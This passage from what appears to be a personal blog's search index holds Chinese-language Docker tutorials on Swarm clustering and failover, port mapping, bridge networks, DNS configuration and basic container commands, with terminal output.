sha256:28402db69fec7c17e179ea87882667f1e054391138f77ffaf0c3eb388efc3ffb Status: Downloaded newer image for nginx:latest docker.io/library/nginx:latest 使用service命令启动Nginx root@chenjx12-0:~# docker service create -p 8888:80 --name xybdiy-nginx nginx qvx9t2qskhr8g0r1i7y5f9ub9 overall progress: 1 out of 1 tasks 1/1: running [==================================================\u0026gt;] verify: Service qvx9t2qskhr8g0r1i7y5f9ub9 converged 使用docker services创建服务，具有扩缩容，滚动更新\n查看服务 root@chenjx12-0:~# docker service ls ID NAME MODE REPLICAS IMAGE PORTS qvx9t2qskhr8 xybdiy-nginx replicated 1/1 nginx:latest *:8888-\u0026gt;80/tcp root@chenjx12-0:~# docker service ps xybdiy-nginx ID NAME IMAGE NODE DESIRED STATE CURRENT STATE ERROR PORTS 7jzyf300ygqh xybdiy-nginx.1 nginx:latest chenjx12-1 Running Running about a minute ago root@chenjx12-0:~# docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES root@chenjx12-1:~# docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 1efdebcefcd0 nginx:latest \u0026#34;/docker-entrypoint.…\u0026#34; 2 minutes ago Up 2 minutes 80/tcp xybdiy-nginx.1.7jzyf300ygqhnj8zfukkjmrtp root@chenjx12-0:~# docker service inspect xybdiy-nginx [ { \u0026#34;ID\u0026#34;: \u0026#34;qvx9t2qskhr8g0r1i7y5f9ub9\u0026#34;, \u0026#34;Version\u0026#34;: { \u0026#34;Index\u0026#34;: 76 }, \u0026#34;CreatedAt\u0026#34;: \u0026#34;2024-10-28T13:46:32.118348646Z\u0026#34;, \u0026#34;UpdatedAt\u0026#34;: \u0026#34;2024-10-28T13:46:32.127340473Z\u0026#34;, \u0026#34;Spec\u0026#34;: { \u0026#34;Name\u0026#34;: \u0026#34;xybdiy-nginx\u0026#34;, \u0026#34;Labels\u0026#34;: {}, \u0026#34;TaskTemplate\u0026#34;: { \u0026#34;ContainerSpec\u0026#34;: { \u0026#34;Image\u0026#34;: \u0026#34;nginx:latest@sha256:28402db69fec7c17e179ea87882667f1e054391138f77ffaf0c3eb388efc3ffb\u0026#34;, \u0026#34;Init\u0026#34;: false, \u0026#34;StopGracePeriod\u0026#34;: 10000000000, \u0026#34;DNSConfig\u0026#34;: {}, \u0026#34;Isolation\u0026#34;: \u0026#34;default\u0026#34; }, \u0026#34;Resources\u0026#34;: { \u0026#34;Limits\u0026#34;: {}, \u0026#34;Reservations\u0026#34;: {} }, \u0026#34;RestartPolicy\u0026#34;: { \u0026#34;Condition\u0026#34;: \u0026#34;any\u0026#34;, \u0026#34;Delay\u0026#34;: 5000000000, \u0026#34;MaxAttempts\u0026#34;: 0 }, \u0026#34;Placement\u0026#34;: { \u0026#34;Platforms\u0026#34;: [ { \u0026#34;Architecture\u0026#34;: \u0026#34;amd64\u0026#34;, \u0026#34;OS\u0026#34;: \u0026#34;linux\u0026#34; }, { \u0026#34;Architecture\u0026#34;: \u0026#34;unknown\u0026#34;, \u0026#34;OS\u0026#34;: \u0026#34;unknown\u0026#34; }, { \u0026#34;OS\u0026#34;: \u0026#34;linux\u0026#34; }, { \u0026#34;Architecture\u0026#34;: \u0026#34;unknown\u0026#34;, \u0026#34;OS\u0026#34;: \u0026#34;unknown\u0026#34; }, { \u0026#34;OS\u0026#34;: \u0026#34;linux\u0026#34; }, { \u0026#34;Architecture\u0026#34;: \u0026#34;unknown\u0026#34;, \u0026#34;OS\u0026#34;: \u0026#34;unknown\u0026#34; }, { \u0026#34;Architecture\u0026#34;: \u0026#34;arm64\u0026#34;, \u0026#34;OS\u0026#34;: \u0026#34;linux\u0026#34; }, { \u0026#34;Architecture\u0026#34;: \u0026#34;unknown\u0026#34;, \u0026#34;OS\u0026#34;: \u0026#34;unknown\u0026#34; }, { \u0026#34;Architecture\u0026#34;: \u0026#34;386\u0026#34;, \u0026#34;OS\u0026#34;: \u0026#34;linux\u0026#34; }, { \u0026#34;Architecture\u0026#34;: \u0026#34;unknown\u0026#34;, \u0026#34;OS\u0026#34;: \u0026#34;unknown\u0026#34; }, { \u0026#34;Architecture\u0026#34;: \u0026#34;mips64le\u0026#34;, \u0026#34;OS\u0026#34;: \u0026#34;linux\u0026#34; }, { \u0026#34;Architecture\u0026#34;: \u0026#34;unknown\u0026#34;, \u0026#34;OS\u0026#34;: \u0026#34;unknown\u0026#34; }, { \u0026#34;Architecture\u0026#34;: \u0026#34;ppc64le\u0026#34;, \u0026#34;OS\u0026#34;: \u0026#34;linux\u0026#34; }, { \u0026#34;Architecture\u0026#34;: \u0026#34;unknown\u0026#34;, \u0026#34;OS\u0026#34;: \u0026#34;unknown\u0026#34; }, { \u0026#34;Architecture\u0026#34;: \u0026#34;s390x\u0026#34;, \u0026#34;OS\u0026#34;: \u0026#34;linux\u0026#34; }, { \u0026#34;Architecture\u0026#34;: \u0026#34;unknown\u0026#34;, \u0026#34;OS\u0026#34;: \u0026#34;unknown\u0026#34; } ] }, \u0026#34;ForceUpdate\u0026#34;: 0, \u0026#34;Runtime\u0026#34;: \u0026#34;container\u0026#34; }, \u0026#34;Mode\u0026#34;: { \u0026#34;Replicated\u0026#34;: { \u0026#34;Replicas\u0026#34;: 1 } }, \u0026#34;UpdateConfig\u0026#34;: { \u0026#34;Parallelism\u0026#34;: 1, \u0026#34;FailureAction\u0026#34;: \u0026#34;pause\u0026#34;, \u0026#34;Monitor\u0026#34;: 5000000000, \u0026#34;MaxFailureRatio\u0026#34;: 0, \u0026#34;Order\u0026#34;: \u0026#34;stop-first\u0026#34; }, \u0026#34;RollbackConfig\u0026#34;: { \u0026#34;Parallelism\u0026#34;: 1, \u0026#34;FailureAction\u0026#34;: \u0026#34;pause\u0026#34;, \u0026#34;Monitor\u0026#34;: 5000000000, \u0026#34;MaxFailureRatio\u0026#34;: 0, \u0026#34;Order\u0026#34;: \u0026#34;stop-first\u0026#34; }, \u0026#34;EndpointSpec\u0026#34;: { \u0026#34;Mode\u0026#34;: \u0026#34;vip\u0026#34;, \u0026#34;Ports\u0026#34;: [ { \u0026#34;Protocol\u0026#34;: \u0026#34;tcp\u0026#34;, \u0026#34;TargetPort\u0026#34;: 80, \u0026#34;PublishedPort\u0026#34;: 8888, \u0026#34;PublishMode\u0026#34;: \u0026#34;ingress\u0026#34; } ] } }, \u0026#34;Endpoint\u0026#34;: { \u0026#34;Spec\u0026#34;: { \u0026#34;Mode\u0026#34;: \u0026#34;vip\u0026#34;, \u0026#34;Ports\u0026#34;: [ { \u0026#34;Protocol\u0026#34;: \u0026#34;tcp\u0026#34;, \u0026#34;TargetPort\u0026#34;: 80, \u0026#34;PublishedPort\u0026#34;: 8888, \u0026#34;PublishMode\u0026#34;: \u0026#34;ingress\u0026#34; } ] }, \u0026#34;Ports\u0026#34;: [ { \u0026#34;Protocol\u0026#34;: \u0026#34;tcp\u0026#34;, \u0026#34;TargetPort\u0026#34;: 80, \u0026#34;PublishedPort\u0026#34;: 8888, \u0026#34;PublishMode\u0026#34;: \u0026#34;ingress\u0026#34; } ], \u0026#34;VirtualIPs\u0026#34;: [ { \u0026#34;NetworkID\u0026#34;: \u0026#34;d8isx3sccunf33xeb63c1v21x\u0026#34;, \u0026#34;Addr\u0026#34;: \u0026#34;10.0.0.5/24\u0026#34; } ] } } ] 可以看到该服务被部署到1号节点上，0节点本地docker ps是没有的，而1节点下出现了该服务\n多个部署，动态扩容 root@chenjx12-0:~# docker service update --replicas 2 xybdiy-nginx xybdiy-nginx overall progress: 2 out of 2 tasks 1/2: running [==================================================\u0026gt;] 2/2: running [==================================================\u0026gt;] verify: Service xybdiy-nginx converged 由于第一个服务前面已经部署在1号节点上了，所以这次只需要再部署一个\nroot@chenjx12-0:~# docker service ls ID NAME MODE REPLICAS IMAGE PORTS qvx9t2qskhr8 xybdiy-nginx replicated 2/2 nginx:latest *:8888-\u0026gt;80/tcp root@chenjx12-0:~# docker service ps xybdiy-nginx ID NAME IMAGE NODE DESIRED STATE CURRENT STATE ERROR PORTS 7jzyf300ygqh xybdiy-nginx.1 nginx:latest chenjx12-1 Running Running 9 minutes ago i5m1yshi8p8o xybdiy-nginx.2 nginx:latest chenjx12-0 Running Running 2 minutes ago 可以看到这次部署到了0号和1号两个节点上，但是注意啊：\n1号节点本身是worker，用来运行和部署服务是没问题的\n但是0号节点原来是manager呀，甚至还是leader\n所以，再次查看节点信息会发现：\nroot@chenjx12-0:~# docker node ls ID HOSTNAME STATUS AVAILABILITY MANAGER STATUS ENGINE VERSION 1e0chr8bpn27vlq9g056zy7a2 * chenjx12-0 Ready Active Reachable 27.3.1 jb55cgd88n5tl2ybdokhznq1t chenjx12-1 Ready Active 27.3.1 oav94gisk9wm4mfuqvzpfhqzh chenjx12-2 Ready Active 27.3.1 u6x1nn2xjqsfchbtlegne7swf chenjx12-3 Ready Active Leader 27.3.1 leader被转移到另一个manager节点（3号）上了\n在Docker Swarm集群中，如果当前的leader节点变得不可用或者其资源不足以运行新的任务，leadership（领导权）会自动转移到另一个manager节点上。这是Swarm集群的高可用特性之一。\n在您描述的场景中，如果有一个manager节点被部署了nginx服务，并且这个manager节点恰好是当前的leader，以下情况可能会发生：\n如果该manager节点只是被分配了nginx服务，并且它仍然能够处理manager节点的职责，那么它仍然可以保持leader的角色。 如果部署nginx服务导致该manager节点过载，或者由于某些原因它变得不可用（比如网络问题、硬件故障等），Swarm集群会检测到这个问题，并进行以下操作： 集群中的其他manager节点会通过raft协议选举出一个新的leader。 leadership将从当前不可用的manager节点转移到新的leader节点上。 为了确保Swarm集群的稳定性和高可用性，通常建议将manager节点专用于管理任务，而不要在它们上面运行worker任务。这样可以确保manager节点有足够的资源来处理集群管理和决策任务，即使在节点故障的情况下也能保持集群的稳定运行。\n如果您确实需要在manager节点上运行服务，可以通过以下策略来降低风险：\n限制在manager节点上运行的服务数量，确保它们不会消耗过多资源。 使用资源限制和预留，确保manager节点有足够的资源来执行其管理职责。 如果我们需要保持manager节点不要运行服务，专心管理worker，并且避免leader转移，我们可以使用下面的命令\ndocker service create \\ --name my_nginx \\ --constraint \u0026#39;node.role != manager\u0026#39; \\ nginx 如果我们要更具体一点，限制它不会部署在某个节点上：\n使用节点ip限制 docker service create \\ --name my_nginx \\ --constraint \u0026#39;node.id != node_id\u0026#39; \\ nginx 使用节点名称限制 docker service create \\ --name my_nginx \\ --constraint \u0026#39;node.hostname != node_name\u0026#39; \\ nginx 虽然看上去是只部署在了0号和1号节点，但是实际上你访问集群中任意一个ip的8888端口都能够看到nginx页面\n这就是swarm集群的负载均衡\n故障 前面可以知道，虽然我部署只在两个服务器上但是我访问集群中任意一个ip都能得到服务\n那如果我某个，或者多个服务器挂了呢\n首先，我把所有的（两个）manager挂了\n得到的结果是：访问剩下两个worker节点的ip均能得到服务，但是manager不行\n我把一个manager和一个woker挂了\n得到的结果是：还是能访问到，但是挂了的不行\n并且最后的manager报错：\nroot@chenjx12-3:~# docker node ls Error response from daemon: rpc error: code = Unknown desc = The swarm does not have a leader. It\u0026rsquo;s possible that too few managers are online. Make sure more than half of the managers are online.\n把两个worker都挂掉\n结果是：也是仅存活的两个才能访问，但是使用docker node ls指令不会报错了\n所有就引出了我们swarm集群的节点管理规则：\nDocker Swarm集群节点规划 为了利用 swarm 模式的容错功能，可以根据组织的高可用性要求实现奇数个节点。 当有多个管理中心时，可以从一个管理中心节点的故障中恢复，而无需停机。\n三个管理器群可以容忍最多损失一个管理器。 五个管理器群最多可以同时丢失两个管理器节点。 七个管理器群最多可以同时丢失三个管理器节点。 九个管理器群最多可以同时丢失四个管理器节点。 Docker 建议一个群最多有七个管理器节点。 （添加更多管理器并不意味着可伸缩性或性能的提高。一般来说，情况恰恰相反。） 1\n区别 \u0026amp; 联系 区别：\n使用场景：Docker Compose 适用于开发环境和单机部署，而 Docker Swarm 适用于生产环境和多节点集群。 集群管理：Docker Compose 不支持集群管理，而 Docker Swarm 是为集群环境设计的。 功能：Docker Compose 更简单，主要关注于启动多个容器，而 Docker Swarm 提供了更多的生产级功能，如服务发现、负载均衡和滚动更新。 联系：\n配置文件：Docker Compose 和 Docker Swarm 都可以使用 docker-compose.yml 文件来定义服务。 集成：Docker Compose 可以与 Docker Swarm 集成，使得在 Swarm 集群中部署多服务应用程序变得简单。通过 docker stack deploy 命令，可以在 Swarm 集群上部署由 Docker Compose 文件定义的服务堆栈。 生态系统：它们都是 Docker 生态系统的一部分，旨在帮助开发者和运维人员更好地管理和部署容器化应用程序。 总结来说，Docker Compose 和 Docker Swarm 都是 Docker 的编排工具，但它们针对的场景和提供的功能有所不同。Docker Compose 适合开发和单机部署，而 Docker Swarm 适合生产环境中的集群管理。\n下面这个图片就很形象的表示的compose和swarm：\nDocker 可以看做集装箱把杂乱的货物一个个整理归类， Compose 则是用于编排这些集装箱，最后 Swarm 就是多提供几条船，挂掉一两条还能继续走，提高稳定性。\n","permalink":"https://chenjx12.github.io/posts/docker-%E5%85%A5%E9%97%A82/","summary":"\u003ch1 id=\"docker-入门2\"\u003edocker 入门2\u003c/h1\u003e\n\u003cp\u003efrom: \u003ca href=\"mailto:chenj_x12@foxmali.com\"\u003echenj_x12@foxmali.com\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"docker-compose\"\u003eDocker Compose\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/aspirant/p/11481805.html\"\u003e腾讯云\u003c/a\u003e\u003c/p\u003e\n\u003ch3 id=\"compose-简介\"\u003eCompose 简介\u003c/h3\u003e\n\u003cp\u003eCompose 是用于定义和运行多容器 Docker 应用程序的工具。通过 Compose，您可以使用 YML 文件来配置应用程序需要的所有服务。然后，使用一个命令，就可以从 YML 文件配置中创建并启动所有服务\u003c/p\u003e\n\u003ch3 id=\"yaml\"\u003eYAML\u003c/h3\u003e\n\u003cp\u003e\u003ca href=\"https://www.runoob.com/w3cnote/yaml-intro.html\"\u003e菜鸟教程-YAML入门\u003c/a\u003e\u003c/p\u003e\n\u003ch4 id=\"基本语法\"\u003e基本语法\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e大小写敏感\u003c/li\u003e\n\u003cli\u003e使用缩进表示层级关系\u003c/li\u003e\n\u003cli\u003e缩进不允许使用tab，只允许空格\u003c/li\u003e\n\u003cli\u003e缩进的空格数不重要，只要相同层级的元素左对齐即可\u003c/li\u003e\n\u003cli\u003e\u0026lsquo;#\u0026lsquo;表示注释\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"数据类型\"\u003e数据类型\u003c/h4\u003e\n\u003cp\u003eYAML 支持以下几种数据类型：\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e对象：键值对的集合，又称为映射（mapping）/ 哈希（hashes） / 字典（dictionary）\u003c/li\u003e\n\u003cli\u003e数组：一组按次序排列的值，又称为序列（sequence） / 列表（list）\u003c/li\u003e\n\u003cli\u003e纯量（scalars）：单个的、不可再分的值\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"yaml-对象\"\u003eYAML 对象\u003c/h4\u003e\n\u003cp\u003e对象键值对使用冒号结构表示 \u003cstrong\u003ekey: value\u003c/strong\u003e，冒号后面要加一个空格。\u003c/p\u003e\n\u003cp\u003e也可以使用 \u003cstrong\u003ekey:{key1: value1, key2: value2, \u0026hellip;}\u003c/strong\u003e。\u003c/p\u003e\n\u003cp\u003e还可以使用缩进表示层级关系；\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003ekey\u003c/span\u003e: \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003echild-key\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003evalue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003echild-key2\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003evalue2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e较为复杂的对象格式，可以使用问号加一个空格代表一个复杂的 key，配合一个冒号加一个空格代表一个 value：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e?  \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#ae81ff\"\u003ecomplexkey1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#ae81ff\"\u003ecomplexkey2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#ae81ff\"\u003ecomplexvalue1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#ae81ff\"\u003ecomplexvalue2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e意思即对象的属性是一个数组 [complexkey1,complexkey2]，对应的值也是一个数组 [complexvalue1,complexvalue2]\u003c/p\u003e\n\u003ch4 id=\"yaml-数组\"\u003eYAML 数组\u003c/h4\u003e\n\u003cp\u003e以 \u003cstrong\u003e-\u003c/strong\u003e 开头的行表示构成一个数组：\u003c/p\u003e","title":"docker 入门2"},{"content":"docker 容器连接 容器\u0026ndash;网络 先前在**容器使用\u0026ndash;启动容器** 中就讲了，docker run 后跟 -p和-P参数可以做到端口映射 和 端口随机映射\n首先说明为什么要做端口映射：\n容器构建了一个隔离于宿主机的环境，而外部网络只能访问到宿主机\n要在宿主机外的网络仍能够访问到容器，就必须把容器内运行服务的端口映射到宿主机上\n即，访问宿主机的这些端口等同于访问相应容器的端口\n也就是为了容器能够被宿主机外的网络访问到，所以做了端口映射\n比如运行nginx，mysql之类的服务的容器\n接下来看看具体的指令该怎么用，就拿一个nginx容器做例子吧\n# 端口映射 docker run -d -p 8080:80 --name test_p1 nginx 这个指令就是将容器的 80 端口映射给了宿主机的 8080 端口 这样访问宿主机的 8080 端口就可以访问到nginx服务 # 端口随机映射 docker run -d -P --name test_p2 nginx Docker会自动选择宿主机的一个空闲端口（默认是32768到61000）来进行映射 该指令不需要指定端口，它会根据容器中暴露的端口对宿主机进行随机映射 那么问题来了，我怎么知道哪些端口可用哪些不能呢\n# 可以查看存活的容器 docker ps 使用该指令查看存活容器的 PORT项，那些是它正在占用的端口 当然，你也可以给它加上个 -a 和 --format参数，列出所有容器 # 查看单个容器的端口映射 docker port [container_id/name] 回显与该容器相关的所有端口映射 # 查看容器详细信息 docker inspect [container_id/name] 在输出的JSON结果中，可以找到 NetworkSettings 部分，它包含了端口映射的详细信息 容器\u0026ndash;容器 docker除了容器和镜像，还在本地提供了容器连接的桥梁\ndocker 桥接网络 当Docker安装完成后，它会自动创建一个名为 docker0 的Linux网桥。这个网桥允许容器与宿主机以及容器之间进行通信。Docker容器默认连接到这个桥接网络\n通过它可以完成宿主机与容器间的通信\n查看docker桥接网络 使用指令 ifconfig docker0 或者 brctl show\n回显docker0网桥的详细信息，包括ip地址、子网掩码等\n自定义docker桥接网络 # docker network create -d bridge test-bet 使用该指令创建一个名为 test-net 的桥接网络，类型是 bridge 参数 -d 指定docker网络类型，有bridge、overlay # docker run -itd --name test1 --network test-net ubunut /bin/bash # docker run -itd --name test2 --network test-net ubuntu /bin/bash 运行两个名为test1和test2的容器，并加入到名为test-net的docker网络中 # docker exec -it test1 /bin/bash 进入容器test1 # apt-get update # apt install iputils-ping 更新下载ping # ping test2 可以发现可以ping的通 这说明test1和test2在同一个容器网络中 配置DNS 自动配置 我们可以在宿主机的 /etc/docker/daemon.json 文件中增加以下内容来设置全部容器的 DNS：\n{ \u0026#34;dns\u0026#34; : [ \u0026#34;114.114.114.114\u0026#34;, \u0026#34;8.8.8.8\u0026#34; ] } 设置后，启动容器的DNS会自动配置为114.114.114.114和8.8.8.8 配置完需要重启docker才能生效\nsystemctl restart docker 手动指定 如果只想在指定的容器设置DNS，可以使用如下指令：\ndocker run -it --rm -h host_ubuntu --dns=114.114.114.114 --dns-search=test.com ubuntu 参数说明： --rm：容器退出时自动清理容器内部的文件系统 -h HOSTNAME 或者 --hostname=HOSTNAME： 设定容器的主机名，它会被写到容器内的 /etc/hostname 和 /etc/hosts --dns=IP_ADDRESS： 添加 DNS 服务器到容器的 /etc/resolv.conf 中，让容器用这个服务器来解析所有不在 /etc/hosts 中的主机名 --dns-search=DOMAIN： 设定容器的搜索域，当设定搜索域为 .example.com 时，在搜索一个名为 host 的主机时，DNS 不仅搜索 host，还会搜索 host.example.com 如果在容器启动时没有指定 \u0026ndash;dns 和 \u0026ndash;dns-search，Docker 会默认用宿主主机上的 /etc/resolv.conf 来配置容器的 DNS\n","permalink":"https://chenjx12.github.io/posts/docker-%E5%AE%B9%E5%99%A8%E8%BF%9E%E6%8E%A5/","summary":"\u003ch1 id=\"docker-容器连接\"\u003edocker 容器连接\u003c/h1\u003e\n\u003ch2 id=\"容器网络\"\u003e容器\u0026ndash;网络\u003c/h2\u003e\n\u003cp\u003e先前在**\u003cem\u003e容器使用\u0026ndash;启动容器\u003c/em\u003e** 中就讲了，docker run 后跟  \u003ccode\u003e-p\u003c/code\u003e和\u003ccode\u003e-P\u003c/code\u003e参数可以做到\u003cstrong\u003e端口映射\u003c/strong\u003e 和 \u003cstrong\u003e端口随机映射\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e首先说明为什么要做端口映射：\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e容器构建了一个隔离于宿主机的环境，而外部网络只能访问到宿主机\u003c/p\u003e\n\u003cp\u003e要在宿主机外的网络仍能够访问到容器，就必须把容器内运行服务的端口映射到宿主机上\u003c/p\u003e\n\u003cp\u003e即，访问宿主机的这些端口等同于访问相应容器的端口\u003c/p\u003e\n\u003cp\u003e也就是为了容器能够被宿主机外的网络访问到，所以做了端口映射\u003c/p\u003e\n\u003cp\u003e比如运行nginx，mysql之类的服务的容器\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e接下来看看具体的指令该怎么用，就拿一个nginx容器做例子吧\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e# 端口映射\ndocker run -d -p 8080:80 --name test_p1 nginx\n\n这个指令就是将容器的 80 端口映射给了宿主机的 8080 端口\n这样访问宿主机的 8080 端口就可以访问到nginx服务\n\n\n# 端口随机映射\ndocker run -d -P --name test_p2 nginx\n\nDocker会自动选择宿主机的一个空闲端口（默认是32768到61000）来进行映射\n该指令不需要指定端口，它会根据容器中暴露的端口对宿主机进行随机映射\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e那么问题来了，我怎么知道哪些端口可用哪些不能呢\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e# 可以查看存活的容器\ndocker ps\n使用该指令查看存活容器的 PORT项，那些是它正在占用的端口\n当然，你也可以给它加上个 -a 和 --format参数，列出所有容器\n\n# 查看单个容器的端口映射\ndocker port [container_id/name]\n回显与该容器相关的所有端口映射\n\n# 查看容器详细信息\ndocker inspect [container_id/name]\n在输出的JSON结果中，可以找到 NetworkSettings 部分，它包含了端口映射的详细信息\n\u003c/code\u003e\u003c/pre\u003e\u003ch2 id=\"容器容器\"\u003e容器\u0026ndash;容器\u003c/h2\u003e\n\u003cp\u003edocker除了容器和镜像，还在本地提供了容器连接的桥梁\u003c/p\u003e","title":"docker 容器连接"},{"content":"docker 容器使用 启动容器 docker run\n使用 docker run （参数）images [COMMAND] 启动一个容器 eg：docker run -it ubuntu /bin/bash root@chenjx12:~/dc# docker run -it ubuntu /bin/bash root@e88f80e041c2:/# 发现了什么，root后面的东西变了对不对 这说明我们顺利的启动了容器，并且进入到了容器里面 现在就可以在容器里进行操作了 e88f80e041c2就是这个容器的ID，唯一的那种 如果我们选择后台运行 -d 参数，容器id会回显在终端 参数说明： -i 使用交互式操作 -t 开启终端 -d/--detach 后台运行 --name \u0026lt;new_name\u0026gt; 容器命名 -rm 退出容器时自动删除 --restart=always 挂了就自动重启 -v/--volume 挂载卷 -e/--env 设置环境变量 # 容器连接相关（后面会讲） -p 端口映射 -P 端口随机映射 /bin/bash 指明启动这个容器进入之后要执行什么命令 那docker run里的images是什么呢，它就是另一个重点，镜像\ndocker run -it ubuntu /bin/bash\ndocker会先在本地查找是否有ubuntu(:latest)的镜像\n如果有，就基于它创建一个容器\n如果没有，它就自动执行 docker pull ubuntu:latest 拉取一个镜像下来再创建容器\n停止/运行的容器 首先需要查看容器的状态，使用命令如下 docker ps （参数） = 无参数运行该命令会列出所有 “正在” 运行的容器，包括它们的容器 ID、镜像、命令、创建时间、状态、端口和名称 参数说明： -a/--all 列出所有的容器（包括已经挂掉的） -q/--quiet 只显示容器id --format 自定义输出格式 docker ps --format \u0026#34;table {{.ID}}\\t{{.Names}}\\t{{.Image}}\u0026#34; 这将按照指定的格式列出容器的 ID、名称和使用的镜像 -l/--latest 列出最近创建的容器 -n numb 后接数字列出最后创建的 numb 个容器 -f/--filter 过滤输出 一般直接使用 docker ps -a 停止容器：docker stop \u0026lt;容器id\u0026gt;\n启动/重新启动容器：docker start/restart \u0026lt;容器id\u0026gt;\n进入容器 在使用 -d 参数时，容器启动后会进入后台\n此时想要进入容器，有两个指令可以实现：\ndocker attach \u0026lt;容器id\u0026gt;\n使用该命令进入容器，再退出容器后容器会被停止\ndocker exec -it \u0026lt;容器id\u0026gt; /bin/bash\n使用该命令退出后不会停止，推荐使用\n注意： 想要再次进入容器的前提是容器还在运行，可以使用docker ps的status查看容器是否还在运行\ndocker作为一种节约资源的进程，会在当前容器没有任务执行的时候把它挂掉\n也就是说，如果你的容器挂掉了，它里面就没有任务了，也就进不去了\n同样的，正在后台运行的容器被docker stop停止了，也进不去，只是它不会被挂掉\n退出容器 直接在容器的终端输入 exit就可以退出容器回到宿主机\n容器导出/导出 docker export/import\ndocker export 命令用于将容器的文件系统导出为一个 tarball 文件。这不会包括容器的元数据或历史记录\ndocker export -o mycontainer.tar mycontainer\n如果你不指定 -o 选项，则导出的 tarball 将会输出到标准输出（stdout）\n这时就可以直接重定向\ndocker export mycontainer \u0026gt; mycontainer.tar\ndocker import 命令用于从 tarball 文件中创建一个新的 Docker 镜像。这个 tarball 文件通常是由 docker export 命令创建的\ncat mycontainer.tar | docker import - mynewimage\n如果有一个tarball文件：\ndocker import mycontainer.tar mynewimage\n这将创建一个新的镜像 mynewimage，其内容来自 mycontainer.tar 文件。\ndocker import 还可以指定一个url或者某个目录进行导入，如：\ndocker import http://example.com/example_contain.tgz example/imagerepo\n注意： docker export 导出的 tarball 不包含容器的元数据，例如标签、环境变量等。它只包含容器文件系统的内容。 docker import 创建的新镜像会丢失所有历史记录和层信息，只有一个单独的层。 删除容器 docker rm\n# 删除一个停止的容器 docker rm \u0026lt;容器id/名称\u0026gt; # 强行删除一个正在运行的容器 docker rm -f \u0026lt;容器id/名称\u0026gt; # 删除所有停止的容器（结合shell） docker rm $(docker ps -aq) # 删除所有容器 docker rm -f $(docker ps -aq) ","permalink":"https://chenjx12.github.io/posts/docker-%E5%AE%B9%E5%99%A8%E4%BD%BF%E7%94%A8/","summary":"\u003ch1 id=\"docker-容器使用\"\u003edocker 容器使用\u003c/h1\u003e\n\u003ch2 id=\"启动容器\"\u003e启动容器\u003c/h2\u003e\n\u003cp\u003edocker run\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e使用  docker run （参数）images [COMMAND]  启动一个容器\neg：docker run -it ubuntu /bin/bash\n\nroot@chenjx12:~/dc# docker run -it ubuntu /bin/bash\nroot@e88f80e041c2:/# \n\n发现了什么，root后面的东西变了对不对\n这说明我们顺利的启动了容器，并且进入到了容器里面\n现在就可以在容器里进行操作了\n\ne88f80e041c2就是这个容器的ID，唯一的那种\n如果我们选择后台运行 -d 参数，容器id会回显在终端\n\n参数说明：\n-i  使用交互式操作\n-t  开启终端\n-d/--detach  后台运行\n--name \u0026lt;new_name\u0026gt;  容器命名\n-rm  退出容器时自动删除\n--restart=always  挂了就自动重启\n-v/--volume  挂载卷\n-e/--env  设置环境变量\n\n# 容器连接相关（后面会讲）\n-p  端口映射\n-P  端口随机映射\n\n/bin/bash  指明启动这个容器进入之后要执行什么命令\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e那docker run里的images是什么呢，它就是另一个重点，镜像\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003edocker run -it ubuntu 